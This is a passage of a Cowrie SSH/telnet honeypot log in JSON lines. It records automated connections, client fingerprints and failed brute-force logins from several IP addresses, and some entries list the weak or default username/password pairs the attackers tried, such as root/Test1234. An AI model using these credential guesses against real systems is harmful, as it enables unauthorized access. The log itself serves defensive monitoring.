0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:21.306602Z","src_ip":"91.92.42.227","session":"84717a3227c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:23.230741Z","src_ip":"91.92.42.227","session":"8c691a3adabb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34276,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1faf427d00e","protocol":"ssh","message":"New connection: 45.156.87.147:34276 (10.17.0.5:22) [session: c1faf427d00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:23.627936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:23.631476Z","src_ip":"45.156.87.147","session":"c1faf427d00e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:23.783088Z","src_ip":"45.156.87.147","session":"c1faf427d00e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:24.044974Z","src_ip":"45.156.87.147","session":"c1faf427d00e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:25.133038Z","src_ip":"45.156.87.147","session":"c1faf427d00e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.84714126586914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:26.269842Z","src_ip":"107.6.151.170","session":"740eba12062f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:26.672046Z","src_ip":"91.92.42.227","session":"84717a3227c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:28.721966Z","src_ip":"91.92.42.227","session":"84717a3227c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35118,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9c05eb8f491","protocol":"ssh","message":"New connection: 91.92.42.227:35118 (10.17.0.5:22) [session: a9c05eb8f491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:28.819592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:29.623381Z","src_ip":"91.92.42.227","session":"a9c05eb8f491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:29.626597Z","src_ip":"91.92.42.227","session":"a9c05eb8f491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47292,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b118a6350b4","protocol":"ssh","message":"New connection: 45.156.87.147:47292 (10.17.0.5:22) [session: 6b118a6350b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:29.963089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:29.979552Z","src_ip":"45.156.87.147","session":"6b118a6350b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:30.046558Z","src_ip":"45.156.87.147","session":"6b118a6350b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:30.369726Z","src_ip":"45.156.87.147","session":"6b118a6350b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:31.458790Z","src_ip":"45.156.87.147","session":"6b118a6350b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:32.265735Z","src_ip":"91.92.42.227","session":"a9c05eb8f491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":57746,"dst_ip":"10.17.0.5","dst_port":22,"session":"09c74bef2662","protocol":"ssh","message":"New connection: 8.219.200.1:57746 (10.17.0.5:22) [session: 09c74bef2662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:32.768687Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:33.651467Z","src_ip":"91.92.42.227","session":"a9c05eb8f491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":51032,"dst_ip":"10.17.0.5","dst_port":22,"session":"09ea79fad8a5","protocol":"ssh","message":"New connection: 27.71.230.31:51032 (10.17.0.5:22) [session: 09ea79fad8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:33.799374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:33.858904Z","src_ip":"27.71.230.31","session":"09ea79fad8a5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:35.096827Z","src_ip":"8.219.200.1","session":"09c74bef2662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:35.100548Z","src_ip":"8.219.200.1","session":"09c74bef2662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47322,"dst_ip":"10.17.0.5","dst_port":22,"session":"8de2af47a6a4","protocol":"ssh","message":"New connection: 45.156.87.147:47322 (10.17.0.5:22) [session: 8de2af47a6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:36.343320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:36.347851Z","src_ip":"45.156.87.147","session":"8de2af47a6a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:36.427565Z","src_ip":"45.156.87.147","session":"8de2af47a6a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:36.743503Z","src_ip":"45.156.87.147","session":"8de2af47a6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56118,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2afcf2d650c","protocol":"ssh","message":"New connection: 91.92.42.227:56118 (10.17.0.5:22) [session: c2afcf2d650c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:37.157572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:37.167687Z","src_ip":"91.92.42.227","session":"c2afcf2d650c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:37.240735Z","src_ip":"91.92.42.227","session":"c2afcf2d650c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:37.399128Z","src_ip":"27.71.230.31","session":"09ea79fad8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"1234","message":"login attempt [oscar/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:37.635102Z","src_ip":"91.92.42.227","session":"c2afcf2d650c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:37.829741Z","src_ip":"45.156.87.147","session":"8de2af47a6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:38.725052Z","src_ip":"91.92.42.227","session":"c2afcf2d650c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.10406947135925,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:38.816414Z","src_ip":"128.199.8.54","session":"f3491eb0142c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:40.254929Z","src_ip":"8.219.200.1","session":"09c74bef2662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":47568,"dst_ip":"159.203.135.109","dst_port":23,"session":"c834265c0f13","protocol":"telnet","message":"New connection: 172.81.62.90:47568 (159.203.135.109:23) [session: c834265c0f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:40.669956Z"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:42.069948Z","src_ip":"8.219.200.1","session":"09c74bef2662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37150,"dst_ip":"10.17.0.5","dst_port":22,"session":"49507ef4a69f","protocol":"ssh","message":"New connection: 45.156.87.147:37150 (10.17.0.5:22) [session: 49507ef4a69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:42.463989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:42.467618Z","src_ip":"45.156.87.147","session":"49507ef4a69f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:42.550912Z","src_ip":"45.156.87.147","session":"49507ef4a69f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:42.802929Z","src_ip":"45.156.87.147","session":"49507ef4a69f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56162,"dst_ip":"10.17.0.5","dst_port":22,"session":"f196df89ba20","protocol":"ssh","message":"New connection: 91.92.42.227:56162 (10.17.0.5:22) [session: f196df89ba20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:43.660750Z"}
